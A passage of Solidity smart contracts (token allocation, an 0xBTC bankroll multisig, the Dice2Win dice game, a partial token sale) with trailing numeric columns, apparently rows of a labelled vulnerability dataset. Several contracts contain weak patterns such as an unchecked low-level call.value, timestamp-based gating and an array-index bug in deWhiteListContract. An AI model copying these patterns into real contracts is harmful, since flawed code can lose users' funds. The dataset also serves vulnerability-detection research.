if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract CSCJToken is ERC20Token, SafeMath {
string public name = "CSCJ E-GAMBLE";
string public symbol = "CSCJ";
uint public decimals = 9;
address public tokenIssuer = 0x0;
uint public month6Unlock = 1554854400;
uint public month12Unlock = 1570665600;
uint public month24Unlock = 1602288000;
uint public month36Unlock = 1633824000;
uint public month48Unlock = 1665360000;
uint public month9Unlock = 1562716800;
uint public month18Unlock = 1586476800;
uint public month27Unlock = 1610236800;
uint public month45Unlock = 1657411200;
bool public month6Allocated = false;
bool public month12Allocated = false;
bool public month24Allocated = false;
bool public month36Allocated = false;
bool public month48Allocated = false;
bool public month9Allocated = false;
bool public month18Allocated = false;
bool public month27Allocated = false;
bool public month36AllocatedDAPP = false;
bool public month45Allocated = false;
uint totalTokenSaled = 0;
uint public totalTokensCrowdSale = 95000000 * 10**decimals;
uint public totalTokensMAR = 28500000 * 10**decimals;
uint public totalTokensDAPP = 28500000 * 10**decimals;
uint public totalTokensReward = 38000000 * 10**decimals;
event TokenMint(address newTokenHolder, uint amountOfTokens);
event AllocateMARTokens(address indexed sender);
event AllocateDAPPTokens(address indexed sender);
function CSCJToken() {
tokenIssuer = msg.sender;
}
function changeIssuer(address newIssuer) public {
require(msg.sender==tokenIssuer);
tokenIssuer = newIssuer;
}
function allocateMARTokens() public {
require(msg.sender==tokenIssuer);
uint tokens = 0;
if(block.timestamp > month6Unlock && !month6Allocated)
{
month6Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month12Unlock && !month12Allocated)
{
month12Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month24Unlock && !month24Allocated)
{
month24Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month36Unlock && !month36Allocated)
{
month36Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month48Unlock && !month48Allocated)
{
month48Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else revert();
AllocateMARTokens(msg.sender);
}
function allocateDAPPTokens() public {
require(msg.sender==tokenIssuer);
uint tokens = 0;
if(block.timestamp > month9Unlock && !month9Allocated)
{
month9Allocated = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month18Unlock && !month18Allocated)
{
month18Allocated = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month27Unlock && !month27Allocated)
{
month27Allocated = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month36Unlock && !month36AllocatedDAPP)
{
month36AllocatedDAPP = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month45Unlock && !month45Allocated)
{
month45Allocated = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else revert();
AllocateDAPPTokens(msg.sender);
}
function mintTokens(address tokenHolder, uint256 amountToken) public
returns (bool success)
{
require(msg.sender==tokenIssuer);
if(totalTokenSaled + amountToken <= totalTokensCrowdSale + totalTokensReward)
{
balances[tokenHolder] = safeAdd(balances[tokenHolder], amountToken);
totalTokenSaled = safeAdd(totalTokenSaled, amountToken);
totalSupply = safeAdd(totalSupply, amountToken);
TokenMint(tokenHolder, amountToken);
return true;
}
else
{
return false;
}
}
} | 1 | 4,537 |
pragma solidity 0.4.25;
contract _0xbccInterface {
function buyAndSetDivPercentage(uint _0xbtcAmount, address _referredBy, uint8 _divChoice, string providedUnhashedPass) public returns(uint);
function balanceOf(address who) public view returns(uint);
function transfer(address _to, uint _value) public returns(bool);
function transferFrom(address _from, address _toAddress, uint _amountOfTokens) public returns(bool);
function exit() public;
function sell(uint amountOfTokens) public;
function withdraw(address _recipient) public;
}
contract ERC20Interface {
function totalSupply() public constant returns(uint);
function balanceOf(address tokenOwner) public constant returns(uint balance);
function allowance(address tokenOwner, address spender) public constant returns(uint remaining);
function transfer(address to, uint tokens) public returns(bool success);
function approve(address spender, uint tokens) public returns(bool success);
function transferFrom(address from, address to, uint tokens) public returns(bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns(bool);
}
contract _0xbtcBankroll is ERC223Receiving {
using SafeMath
for uint;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event DevWithdraw(uint amountTotal, uint amountPerPerson);
event _0xBTCLogged(uint amountReceived, address sender);
event BankrollInvest(uint amountReceived);
event DailyTokenAdmin(address gameContract);
event DailyTokensSent(address gameContract, uint tokens);
event DailyTokensReceived(address gameContract, uint tokens);
uint constant public MAX_OWNER_COUNT = 10;
uint constant public MAX_WITHDRAW_PCT_DAILY = 100;
uint constant public MAX_WITHDRAW_PCT_TX = 100;
uint constant internal resetTimer = 1 days;
ERC20Interface internal _0xBTC;
address internal _0xbccAddress;
_0xbccInterface public _0xbcc;
mapping(uint => Transaction) public transactions;
mapping(uint => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
mapping(address => bool) public isWhitelisted;
mapping(address => uint) public dailyTokensPerContract;
address internal divCardAddress;
address[] public owners;
address[] public whiteListedContracts;
uint public required;
uint public transactionCount;
uint internal dailyResetTime;
uint internal dailyTknLimit;
uint internal tknsDispensedToday;
bool internal reEntered = false;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
struct TKN {
address sender;
uint value;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier contractIsNotWhiteListed(address contractAddress) {
if (isWhitelisted[contractAddress])
revert();
_;
}
modifier contractIsWhiteListed(address contractAddress) {
if (!isWhitelisted[contractAddress])
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (!isOwner[caller])
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if (ownerCount > MAX_OWNER_COUNT ||
_required > ownerCount ||
_required == 0 ||
ownerCount == 0)
revert();
_;
}
constructor(address[] _owners, uint _required, address _btcAddress)
public
validRequirement(_owners.length, _required) {
for (uint i = 0; i < _owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
_0xBTC = ERC20Interface(_btcAddress);
dailyResetTime = now - (1 days);
}
function add0xbccAddresses(address _0xbtc, address _divcards)
public
isAnOwner {
_0xbccAddress = _0xbtc;
divCardAddress = _divcards;
_0xbcc = _0xbccInterface(_0xbccAddress);
}
function ()
payable
public {
}
uint NonICOBuyins;
function deposit(uint value)
public {
_0xBTC.transferFrom(msg.sender, address(this), value);
NonICOBuyins = NonICOBuyins.add(value);
}
function buyTokens()
public
isAnOwner {
uint savings = _0xBTC.balanceOf(address(this));
if (savings.mul(1e10) > 0.01 ether) {
_0xBTC.approve(_0xbcc, savings);
_0xbcc.buyAndSetDivPercentage(savings, address(0x0), 30, "");
emit BankrollInvest(savings);
} else {
emit _0xBTCLogged(savings, msg.sender);
}
}
function tokenFallback(address , uint , bytes ) public returns(bool) {
}
function permissibleTokenWithdrawal(uint _toWithdraw)
public
returns(bool) {
uint currentTime = now;
uint tokenBalance = _0xbcc.balanceOf(address(this));
uint maxPerTx = (tokenBalance.mul(MAX_WITHDRAW_PCT_TX)).div(100);
require(_toWithdraw <= maxPerTx);
if (currentTime - dailyResetTime >= resetTimer) {
dailyResetTime = currentTime;
dailyTknLimit = (tokenBalance.mul(MAX_WITHDRAW_PCT_DAILY)).div(100);
tknsDispensedToday = _toWithdraw;
return true;
} else {
if (tknsDispensedToday.add(_toWithdraw) <= dailyTknLimit) {
tknsDispensedToday += _toWithdraw;
return true;
} else {
return false;
}
}
}
function setDailyTokenLimit(uint limit)
public
isAnOwner {
dailyTknLimit = limit;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required) {
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
validRequirement(owners.length, required) {
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner) {
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required) {
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns(uint transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender) {
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId) {
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId) {
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns(bool) {
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns(uint transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns(uint count) {
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns(uint count) {
for (uint i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed ||
executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns(address[]) {
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns(address[] _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns(uint[] _transactionIds) {
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed ||
executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function whiteListContract(address contractAddress)
public
isAnOwner
contractIsNotWhiteListed(contractAddress)
notNull(contractAddress) {
isWhitelisted[contractAddress] = true;
whiteListedContracts.push(contractAddress);
dailyTokensPerContract[contractAddress] = 0;
emit WhiteListAddition(contractAddress);
}
function deWhiteListContract(address contractAddress)
public
isAnOwner
contractIsWhiteListed(contractAddress) {
isWhitelisted[contractAddress] = false;
for (uint i = 0; i < whiteListedContracts.length - 1; i++)
if (whiteListedContracts[i] == contractAddress) {
whiteListedContracts[i] = owners[whiteListedContracts.length - 1];
break;
}
whiteListedContracts.length -= 1;
emit WhiteListRemoval(contractAddress);
}
function contractTokenWithdraw(uint amount, address target) public
contractIsWhiteListed(msg.sender) {
require(isWhitelisted[msg.sender]);
require(_0xbcc.transfer(target, amount));
}
function alterTokenGrant(address _contract, uint _newAmount)
public
isAnOwner
contractIsWhiteListed(_contract) {
dailyTokensPerContract[_contract] = _newAmount;
}
function queryTokenGrant(address _contract)
public
view
returns(uint) {
return dailyTokensPerContract[_contract];
}
function dailyAccounting()
public
isAnOwner {
for (uint i = 0; i < whiteListedContracts.length; i++) {
address _contract = whiteListedContracts[i];
if (dailyTokensPerContract[_contract] > 0) {
allocateTokens(_contract);
emit DailyTokenAdmin(_contract);
}
}
}
function retrieveTokens(address _contract, uint _amount)
public
isAnOwner
contractIsWhiteListed(_contract) {
require(_0xbcc.transferFrom(_contract, address(this), _amount));
}
function allocateTokens(address _contract)
public
isAnOwner
contractIsWhiteListed(_contract) {
uint dailyAmount = dailyTokensPerContract[_contract];
uint bccPresent = _0xbcc.balanceOf(_contract);
if (bccPresent <= dailyAmount) {
uint toDispense = dailyAmount.sub(bccPresent);
require(permissibleTokenWithdrawal(toDispense));
require(_0xbcc.transfer(_contract, toDispense));
emit DailyTokensSent(_contract, toDispense);
} else {
uint toRetrieve = bccPresent.sub(dailyAmount);
require(_0xbcc.transferFrom(_contract, address(this), toRetrieve));
emit DailyTokensReceived(_contract, toRetrieve);
}
emit DailyTokenAdmin(_contract);
}
function devTokenWithdraw(uint amount) public
onlyWallet {
require(permissibleTokenWithdrawal(amount));
uint amountPerPerson = SafeMath.div(amount, owners.length);
for (uint i = 0; i < owners.length; i++) {
_0xbcc.transfer(owners[i], amountPerPerson);
}
emit DevWithdraw(amount, amountPerPerson);
}
function changeDivCardAddress(address _newDivCardAddress)
public
isAnOwner {
divCardAddress = _newDivCardAddress;
}
function receiveDividends(uint amount) public {
_0xBTC.transferFrom(msg.sender, address(this), amount);
if (!reEntered) {
uint ActualBalance = (_0xBTC.balanceOf(address(this)).sub(NonICOBuyins));
if (ActualBalance.mul(1e10) > 0.01 ether) {
reEntered = true;
_0xBTC.approve(_0xbcc, ActualBalance);
_0xbcc.buyAndSetDivPercentage(ActualBalance, address(0x0), 30, "");
emit BankrollInvest(ActualBalance);
reEntered = false;
}
}
}
function buyInWithAllBalance() public isAnOwner {
if (!reEntered) {
uint balance = _0xBTC.balanceOf(address(this));
require(balance.mul(1e10) > 0.01 ether);
_0xBTC.approve(_0xbcc, balance);
_0xbcc.buyAndSetDivPercentage(balance, address(0x0), 30, "");
}
}
function fromHexChar(uint c) public pure returns(uint) {
if (byte(c) >= byte('0') && byte(c) <= byte('9')) {
return c - uint(byte('0'));
}
if (byte(c) >= byte('a') && byte(c) <= byte('f')) {
return 10 + c - uint(byte('a'));
}
if (byte(c) >= byte('A') && byte(c) <= byte('F')) {
return 10 + c - uint(byte('A'));
}
}
function fromHex(string s) public pure returns(bytes) {
bytes memory ss = bytes(s);
require(ss.length % 2 == 0);
bytes memory r = new bytes(ss.length / 2);
for (uint i = 0; i < ss.length / 2; ++i) {
r[i] = byte(fromHexChar(uint(ss[2 * i])) * 16 +
fromHexChar(uint(ss[2 * i + 1])));
}
return r;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,365 |
pragma solidity ^0.4.23;
contract Dice2Win {
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount = getDiceWinAmount(amount, modulo, rollUnder);
uint jackpotFee = getJackpotFee(amount);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, uint cleanCommit) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
uint placeBlockNumber = bet.placeBlockNumber;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, blockhash(placeBlockNumber)));
uint dice = uint(entropy) % modulo;
uint diceWinAmount = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
uint totalWin = diceWin + jackpotWin;
if (totalWin == 0) {
totalWin = 1 wei;
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, totalWin, diceWin);
if (cleanCommit == 0) {
return;
}
clearProcessedBet(cleanCommit);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
lockedInBets -= uint128(getDiceWinAmount(amount, bet.modulo, bet.rollUnder));
sendFunds(bet.gambler, amount, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BET_EXPIRATION_BLOCKS) {
return;
}
bet.modulo = 0;
bet.rollUnder = 0;
bet.placeBlockNumber = 0;
bet.mask = 0;
bet.gambler = address(0);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge <= amount, "Bet doesn't even cover house edge.");
return (amount - houseEdge) * modulo / rollUnder;
}
function getJackpotFee(uint amount) private pure returns (uint) {
return amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
} | 0 | 295 |
pragma solidity ^0.4.23;
contract CoinHb
{
address public admin_address = 0xDc821453943366A39D7A591fB2e5223a5270AD7c;
address public account_address = 0xDc821453943366A39D7A591fB2e5223a5270AD7c;
mapping(address => uint256) balances;
string public name = "H token";
string public symbol = "HB";
uint8 public decimals = 18;
uint256 initSupply = 100000000;
uint256 public totalSupply = 0;
constructor()
payable
public
{
totalSupply = mul(initSupply, 10**uint256(decimals));
balances[account_address] = totalSupply;
}
function balanceOf( address _addr ) public view returns ( uint )
{
return balances[_addr];
}
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = sub(balances[msg.sender],_value);
balances[_to] = add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
bool public direct_drop_switch = true;
uint256 public direct_drop_rate = 5000;
address public direct_drop_address = 0xb4C08065eBE4E42396f77A2b335F09038e94fA2D;
address public direct_drop_withdraw_address = 0xb4C08065eBE4E42396f77A2b335F09038e94fA2D;
bool public direct_drop_range = false;
uint256 public direct_drop_range_start = 1542628500;
uint256 public direct_drop_range_end = 1574164500;
event TokenPurchase
(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function buyTokens( address _beneficiary )
public
payable
returns (bool)
{
require(direct_drop_switch);
require(_beneficiary != address(0));
if( direct_drop_range )
{
require(block.timestamp >= direct_drop_range_start && block.timestamp <= direct_drop_range_end);
}
uint256 tokenAmount = div(mul(msg.value,direct_drop_rate ), 10**18);
uint256 decimalsAmount = mul( 10**uint256(decimals), tokenAmount);
require
(
balances[direct_drop_address] >= decimalsAmount
);
assert
(
decimalsAmount > 0
);
uint256 all = add(balances[direct_drop_address], balances[_beneficiary]);
balances[direct_drop_address] = sub(balances[direct_drop_address], decimalsAmount);
balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount);
assert
(
all == add(balances[direct_drop_address], balances[_beneficiary])
);
emit TokenPurchase
(
msg.sender,
_beneficiary,
msg.value,
tokenAmount
);
return true;
}
bool public air_drop_switch = true;
uint256 public air_drop_rate = 10;
address public air_drop_address = 0x102f8cF3CfaaF0715596Adeca8684ba6FB7A3A83;
uint256 public air_drop_count = 1;
mapping(address => uint256) airdrop_times;
bool public air_drop_range = false;
uint256 public air_drop_range_start = 1542628500;
uint256 public air_drop_range_end = 1574164500;
event TokenGiven
(
address indexed sender,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function airDrop( address _beneficiary )
public
payable
returns (bool)
{
require(air_drop_switch);
require(_beneficiary != address(0));
if( air_drop_range )
{
require(block.timestamp >= air_drop_range_start && block.timestamp <= air_drop_range_end);
}
if( air_drop_count > 0 )
{
require
(
